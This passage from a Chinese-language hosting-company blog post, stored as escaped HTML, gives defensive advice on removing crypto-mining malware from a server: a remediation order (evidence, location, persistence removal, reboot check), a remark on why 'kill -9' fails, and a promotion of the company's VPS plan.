\u5168\u91cf\u4e0e\u589e\u91cf\u5907\u4efd\u7b56\u7565<\/a>\u3002<\/li>\n<\/ul>\n<p>\u5982\u679c\u670d\u52a1\u5668\u627f\u8f7d\u6838\u5fc3\u4e1a\u52a1\uff0c\u6216\u8005\u6ca1\u7cbe\u529b\u957f\u671f\u76ef\u8fd9\u4e9b\u68c0\u67e5\u9879\uff0c\u628a\u7cfb\u7edf\u5c42\u52a0\u56fa\u4ea4\u7ed9\u57fa\u7840\u8bbe\u65bd\u4fa7\u66f4\u5212\u7b97\u3002\u4ee5 Hostease \u7684 <a href=\"https:\/\/cn.hostease.com\/vps\/\">VPS \u65b9\u6848<\/a> \u4e3a\u4f8b\uff0c\u7cfb\u7edf\u955c\u50cf\u4e0e\u5feb\u7167\u7531\u57fa\u7840\u8bbe\u65bd\u4fa7\u7ba1\u7406\uff0c\u6062\u590d\u65f6\u4e0d\u5fc5\u91cd\u88c5\u73af\u5883\uff1b\u4f46\u8fd9\u4e0d\u4ee3\u8868\u6258\u7ba1\u4e4b\u540e\u5c31\u4e0d\u7528\u7ba1\u5e94\u7528\u5c42\uff0cCMS \u63d2\u4ef6\u4e0e\u4e0a\u4f20\u76ee\u5f55\u6743\u9650\u4ecd\u8981\u81ea\u5df1\u7ef4\u62a4\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cn.hostease.com\/blog\/wp-content\/uploads\/2026\/10\/mining-hardening-baseline.webp\" alt=\"\u52a0\u56fa\u524d\u540e\u66b4\u9732\u9762\u5bf9\u6bd4\" loading=\"lazy\" \/><\/p>\n<h2>\u603b\u7ed3\u4e0e\u884c\u52a8\u5efa\u8bae<\/h2>\n<p>\u6574\u5957\u6d41\u7a0b\u53ef\u4ee5\u538b\u7f29\u6210\u4e00\u53e5\u8bdd\uff1a\u5148\u53d6\u8bc1\uff0c\u518d\u5b9a\u4f4d\uff0c\u6458\u6389\u6301\u4e45\u5316\uff0c\u6700\u540e\u5220\u6587\u4ef6\u5e76\u91cd\u542f\u9a8c\u8bc1\u3002\u51b3\u5b9a\u6210\u8d25\u7684\u4e0d\u662f\u5de5\u5177\uff0c\u800c\u662f\u987a\u5e8f\u548c\u5b8c\u6574\u6027\uff1a<code>kill -9<\/code> \u7ecf\u5e38\u6ca1\u7528\uff0c\u662f\u56e0\u4e3a\u5b88\u62a4\u673a\u5236\u8fd8\u5728\u3002<\/p>\n<p>\u5982\u679c\u4f60\u6b63\u9762\u5bf9\u4e00\u53f0 CPU \u8dd1\u6ee1\u7684\u670d\u52a1\u5668\uff0c\u5efa\u8bae\u7b2c\u4e00\u8f6e\u6309\u8fd9\u4e2a\u987a\u5e8f\u505a\uff1a\u6682\u505c\u53ef\u7591\u8fdb\u7a0b\u5e76\u6253\u5feb\u7167\uff0c\u5bfc\u51fa\u516d\u5904\u6301\u4e45\u5316\u6e05\u5355\uff0c\u65ad\u5916\u8054\u540e\u9010\u9879\u6e05\u9664\uff0c\u91cd\u542f\u89c2\u5bdf 24 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